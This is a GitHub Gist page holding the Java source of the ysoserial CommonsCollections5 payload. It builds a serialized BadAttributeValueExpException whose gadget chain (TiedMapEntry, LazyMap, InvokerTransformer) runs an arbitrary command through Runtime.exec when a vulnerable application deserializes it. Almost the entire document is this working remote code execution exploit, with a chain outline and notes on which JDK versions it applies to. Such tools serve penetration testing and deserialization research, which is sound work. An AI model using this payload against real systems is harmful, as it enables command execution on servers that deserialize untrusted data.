Last active
April 16, 2020 15:24
-
-
Save testanull/b3cf6921ae0c6bb80c81be4a5e062285 to your computer and use it in GitHub Desktop.
CommonsCollections5
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package ysoserial.payloads; | |
import java.lang.reflect.Field; | |
import java.lang.reflect.InvocationHandler; | |
import java.util.HashMap; | |
import java.util.Map; | |
import javax.management.BadAttributeValueExpException; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.keyvalue.TiedMapEntry; | |
import org.apache.commons.collections.map.LazyMap; | |
import ysoserial.payloads.annotation.Authors; | |
import ysoserial.payloads.annotation.Dependencies; | |
import ysoserial.payloads.annotation.PayloadTest; | |
import ysoserial.payloads.util.Gadgets; | |
import ysoserial.payloads.util.JavaVersion; | |
import ysoserial.payloads.util.PayloadRunner; | |
import ysoserial.payloads.util.Reflections; | |
/* | |
Gadget chain: | |
ObjectInputStream.readObject() | |
BadAttributeValueExpException.readObject() | |
TiedMapEntry.toString() | |
LazyMap.get() | |
ChainedTransformer.transform() | |
ConstantTransformer.transform() | |
InvokerTransformer.transform() | |
Method.invoke() | |
Class.getMethod() | |
InvokerTransformer.transform() | |
Method.invoke() | |
Runtime.getRuntime() | |
InvokerTransformer.transform() | |
Method.invoke() | |
Runtime.exec() | |
Requires: | |
commons-collections | |
*/ | |
/* | |
This only works in JDK 8u76 and WITHOUT a security manager | |
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70 | |
*/ | |
@SuppressWarnings({"rawtypes", "unchecked"}) | |
@PayloadTest ( precondition = "isApplicableJavaVersion") | |
@Dependencies({"commons-collections:commons-collections:3.1"}) | |
@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER }) | |
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> { | |
public BadAttributeValueExpException getObject(final String command) throws Exception { | |
final String[] execArgs = new String[] { command }; | |
// inert chain for setup | |
final Transformer transformerChain = new ChainedTransformer( | |
new Transformer[]{ new ConstantTransformer(1) }); | |
// real chain for after setup | |
final Transformer[] transformers = new Transformer[] { | |
new ConstantTransformer(Runtime.class), | |
new InvokerTransformer("getMethod", new Class[] { | |
String.class, Class[].class }, new Object[] { | |
"getRuntime", new Class[0] }), | |
new InvokerTransformer("invoke", new Class[] { | |
Object.class, Object[].class }, new Object[] { | |
null, new Object[0] }), | |
new InvokerTransformer("exec", | |
new Class[] { String.class }, execArgs), | |
new ConstantTransformer(1) }; | |
final Map innerMap = new HashMap(); | |
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); | |
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); | |
BadAttributeValueExpException val = new BadAttributeValueExpException(null); | |
Field valfield = val.getClass().getDeclaredField("val"); | |
Reflections.setAccessible(valfield); | |
valfield.set(val, entry); | |
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain | |
return val; | |
} | |
public static void main(final String[] args) throws Exception { | |
PayloadRunner.run(CommonsCollections5.class, args); | |
} | |
public static boolean isApplicableJavaVersion() { | |
return JavaVersion.isBadAttrValExcReadObj(); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment